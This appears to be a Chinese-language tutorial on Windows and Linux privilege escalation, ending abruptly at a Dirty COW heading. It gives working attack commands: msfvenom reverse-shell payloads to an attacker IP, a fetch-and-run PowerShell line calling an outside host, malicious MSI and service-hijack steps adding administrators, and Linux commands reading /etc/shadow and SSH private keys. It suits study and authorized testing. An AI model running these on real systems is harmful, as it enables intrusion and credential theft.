操作系统提权

权限提升简介

权限提升概述

Windows 计算机中常见的权限

  • 用户权限(Users)
  • 管理员权限(Administrators)
  • 系统权限 (SYSTEM)
  • 访客权限 (Guest)

权限提升(Privilege Escalation ):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权。

  • Windows提权
1
2
3
user 			--> administrator
administrator --> system
services --> system
  • Linux提权
1
user --> root

提权分类

  • 本地提权

在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)提升到系统管理员权限或系统最高权限。

  • 远程提权

攻击者通过漏洞利用程序直接获取远程服务器的权限。

  • 操作系统提权

Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032 等
Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195 等

  • 应用程序提权

SQL Server、MySQL、Oracle 等

提权条件

  • 拥有 Webshell/Beacon/Sessions
  • 拥有普通用户权限
  • 拥有某些软件的账号密码
  • 本地或远程服务器上存在漏洞
  • 拥有漏洞利用工具代码

Windows提权思路

  • 前期信息收集
  • Meterpreter提权
  • Windows系统内核漏洞
  • Windows服务提权漏洞

Linux提权思路

  • 前期信息收集
  • Linux系统内核漏洞
  • Linux服务提权漏洞
  • SUDO权限滥用
  • SUID提权
  • GTFOBins

Windows系统提权

Windows提权信息收集

  • 生成一个 Payload,并创建监听
1
2
3
4
5
6
7
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=6666 -f exe -o xx.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.247.135
set LPORT 6666
exploit
  • 运行木马文件,MSF获得meterpreter会话

image-20230918132035938

手动信息收集

WMIC:Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。

  • 补丁信息、补丁包过滤
1
2
3
wmic qfe get Caption,Description,HotFixID,InstalledOn

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx"
  • 获取杀软名
1
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

image-20230918132743928

  • 获取杀软名和安装路径
1
WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

image-20230918132731684

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
wmic group
组帐户管理。

wmic os
已安装操作系统的管理。

wmic process
进程管理

wmic service
服务应用程序管理。

wmic useraccount
用户帐户管理。

wmic startup
当用户登录到计算机系统时自动运行的命令的管理。

wmic nic
网络接口控制器(NIC)管理

av识别

https://www.ddosi.org/av/1.php

image-20230918132952900

自动信息收集

  • HIGS.bat

Host Information Gathering Script
https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/HIGS.bat

  • winPEAS.bat

privilege-escalation-awesome-scripts
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat

  • Powerless

Windows privilege escalation (enumeration) script
https://github.com/M4ximuss/Powerless

  • PowerUP

Powershell提权框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
https://evi1cg.me/archives/Powerup.html

1.下载脚本

old:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
new:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

2.加载脚本

1
2
powershell -nop -ep bypass
Import-Module .\PowerUp.psm1

3.查看所有模块

1
Get-Command -Module powerup

输入可以通过tab键来自动补全

4.查看模块详细说明

1
2
Get-help [cmdlet] -full
Get-Help Find-DLLHijack -full

5.导出结果

1
Invoke-AllChecks | Out-File -Encoding ASCII checks.txt

6.cmd环境运行

1
powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

7.内存加载运行

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

Windows内核漏洞提权

发现已知内核漏洞

检查Windows系统版本是否有任何已知的漏洞

  • 列出所有补丁
1
2
3
wmic qfe get Caption,Description,HotFixID,InstalledOn

powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"
  • 列出安全更新补丁
1
powershell -c "Get-Hotfix -description 'Security update'"

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/securitybulletins
https://portal.msrc.microsoft.com/zh-cn/security-guidance

  • 已对外公开EXP

Windows平台提权漏洞集合: https://github.com/SecWiki/windows-kernel-exploits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2)
MS09-050 [KB975517][Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066 [] [] (Windows 2000/XP/Server 2003)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
  • Kernelhub

提权漏洞合集

https://github.com/Ascotbe/Kernelhub
http://kernelhub.ascotbe.com/Docs/#/

  • 在线网站查询补丁对应漏洞

https://i.hacking8.com/tiquan

CVE-2019-0803

https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe

1
2
# 检测是否存在漏洞
cve-2019-0803.exe cmd "whoami"
1
2
# 反弹SYSTEM权限会话到MSF
cve-2019-0803.exe cmd "start demo.exe"

image-20230918134555298

CVE-2020-0787

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases

Windows系统服务漏洞

AlwaysInstallElevated

  • 简介

任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。

MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序

AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。

如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。

https://docs.microsoft.com/zh-cn/windows/win32/msi/alwaysinstallelevated

  • 判断是否启用此策略设置
1
2
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

收到 “错误:系统无法找到指定的注册表项或值” 的错误,则表示此注册表值从未创建。 说明策略没有启用。
收到 “AlwaysInstallElevated REG_DWORD 0x1”,说明策略已经启用。

https://www.cnblogs.com/zpchcbd/p/11943147.html

  • 启用 Always Install Elevated
1
2
3
4
5
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1)
HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)
  • Always Install Elevated提权利用
  1. 使用msfvenom生成恶意MSI程序上传

生成执行此payload的可执行反向shell payload(Payload.exe)和msi程序包(exec.msi)

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.247.135 LPORT=8989 -f exe -o Payload.exe
  1. 通过使用 Windows/exec 生成恶意 .MSI 作为 payload
1
msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" > exec.msi
  1. 上传恶意payload到目标机器
1
2
upload Payload.exe C:\Users\testuser\AppData\Local\Temp\Payload.exe
upload exec.msi C:\Users\testuser\AppData\Local\Temp\exec.msi
  1. 生成添加用户的MSI程序
1
msfvenom -p windows/adduser USER=test PASS=Password@123 --platform windows -a x86 -f msi-nouac -o test.msi

运行恶意MSI程序

1
2
3
4
5
6
7
msiexec /quiet /qn /i C:\Users\testuser\AppData\Local\temp\malicious.msi

msiexec /quiet /qn /i C:\programdata\test.msi

/quiet 安装过程中禁止向用户发送消息
/qn 不使用GUI
/i 安装程序
  • Always Install Elevated提权利用2
  1. 下载exemsi

https://www.exemsi.com/download/

  1. MSF生成exe程序
1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.247.135 LPORT=8989 -f exe -o Payload.exe
  1. 使用exemsi将exe封装为msi

配置样式为下图所示,其他默认即可

image-20230918162950997

image-20230918163016535

image-20230918163044804

image-20230918163158490

image-20230918163249581

  1. 运行msi程序,得到system权限的shell

受害者机器上执行:

1
msiexec /quiet /qn /i Payload.msi

可信任服务路径

存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

例子:

1
2
3
4
5
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字相匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序

https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa?redirectedfrom=MSDN

  • 测试环境
1
2
3
4
5
# 管理员权限下使用sc创建 Windows Folder Service
sc create "Windows Folder Service" binpath= "C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe" type=share start= auto displayname= "Windows Folder Service"

# 给目录赋予everyone用户完全控制权限
cacls.exe "C:\Program Files (x86)\Windows Folder" /c /e /t /g everyone:F

漏洞服务下载地址:
Macro Expert 4.0 Multiple Elevation of Privilege
https://www.exploit-db.com/exploits/40428

  • 检查目标主机是否可能存在漏洞

利用:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径名,则可利用此漏洞。

  1. 检查目标主机是否可能存在漏洞
1
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
  • 检查对有漏洞目录是否有写入权限
1
2
3
4
5
icacls "C:\Program Files (x86)\Windows Folder"

F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。
  • 生成payload
1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.1.227 LPORT=9999 -f exe -o Common.exe
  • 上传exe到漏洞目录

  • 重启服务

1
2
3
4
5
sc qc "Windows Folder Service"

sc stop "Windows Folder Service”
sc start "Windows Folder Service"
没有权限重启服务,等待服务器重启时执行exe

将我们需要执行的exe根据需要重命名并放置在可写入的存在漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe

  • 重启机器,获得shell
1
2
3
4
use exploit/multi/handler
set autorunscript migrate –f

shutdown –r

如果弹回一个system权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。

不安全的服务权限

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。

JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。

而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

直接修改服务的“ImagePath”注册表值,而不是修改服务属性。

  1. 利用accesschk工具检查易受到攻击的服务:
1
2
3
accesschk64.exe -ucqv "Authenticated Users" * /accepteula

services_all_access
  1. 查看可完全控制的服务的属性
1
sc qc Acunetix
  1. 修改服务配置执行命令

BINARY_PATH_NAME 参数指向了该服务的可执行程序(wvs_supervisor.exe )路径

1
2
3
4
5
sc config Acunetix binpath= "net user updateuser password /add"
sc stop Acunetix
sc start Acunetix
sc config Acunetix binpath= "net localgroup Administrators updateuser /add"
sc start Acunetix

Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。

SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权

BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。

提权工具脚本

CollectAV_KB

收集补丁杀软信息

https://github.com/TryA9ain/CollectAV_KB

BeRoot

https://github.com/AlessandroZ/BeRoot

Watson

https://github.com/rasta-mouse/Watson

Sherlock

https://github.com/rasta-mouse/Sherlock

1
2
3
wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://47.101.214.85/Sherlock.ps1');Find-AllVulns

Windows-exploits

Windows提权漏洞利用工具合集

https://github.com/lyshark/Windows-exploits

JuicyPotato

https://github.com/ohpe/juicy-potato

下载JuicyPotato

https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

Juicy Potato的限制条件有:

需要具有SeImpersonate或者SeAssignPrimaryToken权限
开启DCOM
本地支持RPC或者远程服务器支持RPC并能成功登录
能够找到可用的COM对象

一般从Web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。

一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,都可以执行 whoami /priv 查看是否x具有权限。

  1. 查看当前用户权限
1
2
whoami /all
whoami /priv

如果SeImpersonate权限为 enabled,juicypotato的参数可以使用-t t

如果SeAssignPrimaryToken权限为 enabled,juicypotato的参数可以使用-t u

如果均开启,可以选择 -t *

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:/test/ >whoami /priv

特权信息
----------------------

特权名 描述 状态
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeShutdownPrivilege 关闭系统 已禁用
SeAuditPrivilege 生成安全审核 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeUndockPrivilege 从扩展坞上取下计算机 已禁用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
SeTimeZonePrivilege 更改时区 已禁用
  1. 检查RPC默认端口

查看RPC默认端口是否为135

如果被修改(例如为111),juicypotato的参数可以使用-n 111

如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:

找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k

例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录,添加防火墙规则允许135端口入站的命令如下:

1
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
  1. 选择CLSID(Class ID)

根据操作系统选择可用的CLSID

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

https://www.cnblogs.com/DeeLMind/p/7771043.html

https://learn.microsoft.com/zh-cn/windows/win32/com/clsid-key-hklm?redirectedfrom=MSDN

其实CLSID也就是GUID,是区分每个系统组件唯一的识别码。我们通过CLSID就可以快捷的打开系统组件,这样可以让我们的操作更加方便。

CLSID或类标识符是一串字母数字(数字和字母字符)符号,用于表示组件对象模型或基于 COM 的程序的特定实例。它允许操作系统和软件(尤其是 Windows 操作系统和软件)检测和访问软件组件,而无需通过其名称进行识别。尽管微软已经逐步淘汰了COM的使用,转而使用.NET基础结构,但COM仍然是许多常用程序的重要组成部分,并且没有停止使用的计划。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
添加网络位置
shell:::{D4480A50-BA28-11d1-8E75-00C04FA31A86}

管理工具
shell:::{D20EA4E1-3957-11d2-A40B-0C5020524153}

所有控制面板项
shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}

所有设置
shell:::{5ED4F38C-D3FF-4D61-B506-6820320AEBFE}

所有任务
shell:::{ED7BA470-8E54-465E-825C-99712043E01C}

应用
shell:::{4234d49b-0245-4df3-b780-3893943456e1}

AppSuggestedLocations
shell:::{c57a6066-66a3-4d91-9eb9-41532179f0a5}

ActiveX缓存文件夹
shell:::{88C6C381-2E85-11D0-94DE-444553540000}

自动播放
shell:::{9C60DE1E-E5FC-40f4-A487-460851A8D915}

备份和还原(Windows7)
shell:::{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}

BitLocker驱动器加密
shell:::{D9EF8727-CAC2-4e60-809E-86F80A666C91}

蓝牙设备
shell:::{28803F59-3A75-4058-995F-4EE5503B023C}

Briefcase
shell:::{85BBD920-42A0-1069-A2E4-08002B30309D}

Cabinet Shell文件夹
shell:::{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}

命令文件夹
shell:::{437ff9c0-a07f-4fa0-af80-84b6c6440a16}

Common Places FS Folder
shell:::{d34a6ca6-62c2-4c34-8a7c-14709c1ad938}

CompressedFolder
shell:::{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}

连接到
shell:::{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}

控制面板
shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}

控制面板
shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}

凭据管理器
shell:::{1206F5F1-0569-412C-8FEC-3204630DFB70}

上述CLSID中的部分内容可以直接使用“运行”来进入,比如系统设置类;也有一些内容无法直接进入,需要各位用户注意。

可以通过命令提示符的start命令来调用以及API函数的ShellExecute来调用。

  1. 选择监听端口

选择一个系统未占用的端口作为监听端口

最终执行命令如下

1
2
3
4
5
6
7
8
9
10
11
C:/test/ >juicypotato.exe -t * -p "cmd.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 9001
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
-t * : SeImpersonate权限和SeAssignPrimaryToken权限都开启
-p "cmd.exe" : 指定创建的进程
-l 9001 : 指定监听端口
-c {4991d34b-80a1-4291-83b6-3328366b9097} : 指定使用的CLSID

执行成功,弹出cmd.exe窗口,成功得到NT AUTHORITY\SYSTEM 权限

  1. Webshell版添加用户

利用JuicyPotato以system权限执行添加用户命令

1
JuicyPotato-ws.exe -p "net user admin abc123! /add"

RottenPotato

将服务帐户本地提权至SYSTEM

https://github.com/foxglovesec/RottenPotato
https://github.com/breenmachine/RottenPotatoNG

1
2
3
4
5
load incognito
list_token –u
upload /root/rottenpotato.exe .
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
1
2
3
4
5
6
7
8
9
10
RottenPotato:
将服务帐户本地提权至SYSTEM

load incognito
list_token –u
upload /root/rottenpotato.exe .
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

将SYSTEM token添加到impersonate user tokens下

Origin Potato
https://github.com/foxglovesec/Potato
RottenPotato & JuicyPotato
https://github.com/ohpe/juicy-potato
RoguePotato
https://github.com/antonioCoco/RoguePotato
SweetPotato
https://github.com/CCob/SweetPotato

Webshell下执行命令:

https://github.com/uknowsec/SweetPotato
https://github.com/uknowsec/getSystem

Linux系统提权

Linux提权信息收集

  • linPEAS.sh

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

  • beRoot

https://github.com/AlessandroZ/BeRoot

  • 操作系统信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
查看发行版本
cat /etc/issue
cat /etc/*-release
lsb_release -a

查看内核版本
uname -a
uname -mrs

环境变量
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
  • 应用程序和服务信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
系统网络信息
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

应用程序和服务
ps aux
ps -ef
top
cat /etc/services

root用户运行的服务
ps aux | grep root
ps -ef | grep root

安装的应用程序
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/

服务配置错误
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
  • 通信与网络
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
系统网卡
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

网络配置(dhcp、dns、网关)
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname

用户和主机与系统通信
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

arp缓存、路由表
arp -e
route
/sbin/route –nee
数据包嗅探
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
  • 机密信息和用户信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
登录用户
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

用户敏感文件
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

用户家目录
ls -ahlR /root/
ls -ahlR /home/

脚本、数据库、配置文件、日志文件
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

历史记录
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

用户信息
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

ssh私钥信息
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
  • 文件系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
日志文件分析
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/error_log
cat /var/log/apache2/access_log
cat /var/log/apache2/error_log

可写可执行的文件夹
find / -writable -type d 2>/dev/null
> 找出可写的文件夹

find / -perm -222 -type d 2>/dev/null
> 找出可写的文件夹

find / -perm -o w -type d 2>/dev/null
> 找出可写的文件夹

find / -perm -o x -type d 2>/dev/null
> 找出可写的文件夹

find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
> 找出可写可执行的文件夹

find / -xdev -type d ( -perm -0002 -a ! -perm -1000) -print
> 找出可写的文件

find /dir -xdev ( -nouser -o -nogroup ) -print
> 找出不是所有者的文件
  • 准备和查找利用代码
1
2
3
4
5
6
7
8
9
10
11
12
支持的语言开发环境
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

上传文件环境
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
1
2
3
4
5
6
7
8
9
10
11
http://www.exploit-db.com
https://www.securityfocus.com/bid
https://www.rapid7.com/db/
https://cxsecurity.com/exploit/
https://seclists.org/fulldisclosure/
https://exploit.kitploit.com/
https://www.cvedetails.com/index.php
https://packetstormsecurity.com/
http://cve.mitre.org/cve/search_cve_list.html
https://www.anquanke.com/vul
https://nvd.nist.gov/vuln/categories

Linux内核提权漏洞

  • Linux-kernel-exploits

Linux平台提权漏洞集合:

https://github.com/SecWiki/linux-kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/

searchsploit搜索exp

https://gitlab.com/exploit-database/exploitdb

“searchsploit”是一个用于 Exploit-DB 的命令行搜索工具

searchsploit privilege | grep –i linux | grep -i kernel

  • 基本搜索

会匹配标题和路径中的内容

1
searchsploit smb windows remote
  • 标题搜索

只匹配标题,不会对路径中的关键词进行匹配

1
searchsploit -t smb windows remote
  • 过滤结果

–exclude= 选项过滤不需要的结果

1
searchsploit smb windows remote --exclude="(POC)|txt"
  • 利用管道输出

例如只显示rb文件

1
searchsploit smb windows remote | grep rb
  • 复制到剪贴板

-p参数可以获取更多关于该漏洞的信息,以及将完整的路径复制到剪贴板上

1
searchsploit -p 42315.py
  • 复制到文件夹

不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录

1
searchsploit -m 42315.py
  • 联网搜索

一些开发的元数据没有保存在本地,如果要访问他们,需要联网搜索

1
searchsploit eternalblue -w

提权测试靶场下载:https://in.security/downloads/lin.security_v1.0.ova

脏牛提权漏洞

漏洞名称:脏牛(Dirty COW)
